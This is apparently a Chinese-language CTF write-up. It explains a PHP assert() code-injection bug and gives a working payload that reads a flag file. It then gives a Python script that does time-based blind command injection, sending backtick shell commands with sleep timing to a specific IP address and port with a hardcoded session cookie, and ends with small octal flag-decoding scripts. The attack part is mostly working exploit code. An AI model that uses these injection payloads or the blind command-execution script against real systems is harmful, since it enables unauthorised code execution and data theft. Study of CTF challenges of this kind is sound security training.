首先加上前缀后缀,第二行规则不允许出现两个点,.php已经出现了一个点,所以page参数允许出现点,第二行strpos(xxx,zzz)在xxx中寻找zzz,如果成功返回字符位置,如果没有则返回false就可以注入了 比如执行phpinfo(); 我们传入page=') or phpinfo();#,如此$file=templates/') or phpinfo();#.php,为了讲解我没转义,大家需要自己先urldecode 然后下面变成
1 2
assert("strpos('templates/') or phpinfo();#.php', '..') === false") ordie("Detected hacking attempt!"); assert("file_exists('templates/') or phpinfo();#.php')") ordie("That file doesn't exist!");
我觉得不行啊,#后面注释后句子变成
1 2
assert("file_exists('templates/') or phpinfo(); #.php')") ordie("That file doesn't exist!");
都没闭合
这谁顶得住的,我自己构造page=') or phpinfo();")#,缺报错了,黑人问号jpg,我觉得应该是我有语法错误了
!!!以上理解是错误的!!
从这句分析
1
assert("strpos('templates/') or phpinfo();#.php', '..') === false") ordie("Detected hacking attempt!");
其实其中的#号没有将后面的注释只是将语句注释了,所以同义为
1
assert("strpos('templates/') or phpinfo();") ordie("Detected hacking attempt!");
2333 awsl-所以遇到问题本地多测试一下很重要-ε=ε=ε=┏(゜ロ゜;)┛
然后就可以为所欲为
1 2 3
page=') or print_r(file_get_contents('templates/flag.php'));# 转码 page=')%20or%20print_r(file_get_contents('templates%2fflag.php'))%3b%23
import requests url = 'http://123.206.31.85:49165/index.php' s = requests.session() allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' database = '' flag = 1 comm =input('输入指令:') headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Referer':'http://123.206.31.85:49165/index.php', } cookies = dict(PHPSESSID='d637ecrlrp3ae9jgqqunu97f22') for i inrange(0,100):#根据自身需要改长度,如果空格连续出现四次以上,就说明后续没内容了 for j in allString: #header = { #"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) #} #print(j) if j == "^": #print('此处有空格') j = " " data={'c':"123;a=`"+comm+"`;b=' ';if [ ${a:"+str(i)+":1} == $b ];then sleep 4;fi"} else: data={'c':"123;a=`"+comm+"`;b=\'"+str(j)+"\';if [ ${a:"+str(i)+":1} == $b ];then sleep 4;fi"} r = requests.post(url,data=data,headers=headers,cookies=cookies) t = r.elapsed.total_seconds() #print(r.text) print(database+' '+'the time of '+j+' is '+str(t)) if t >= 4: database = database + j print('the '+str(i)+' place of database is '+j) break elif t < 4and j == 'M': flag = 0 break if flag == 0 : break print('',database)
import binascii asc =''' 066146 063541 031573 060545 061063 060470 026462 034141 032142 032055 032464 026465 033142 030464 031055 062541 033141 062464 034543 062541 076544 000012 ''' flag = '' for i in range(1,len(asc),7): a = asc[i:i+6] num = int(a,8) h = hex(num)[2:] s = binascii.a2b_hex(h) s = s[::-1] flag += s print(flag)
1
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in s.split()))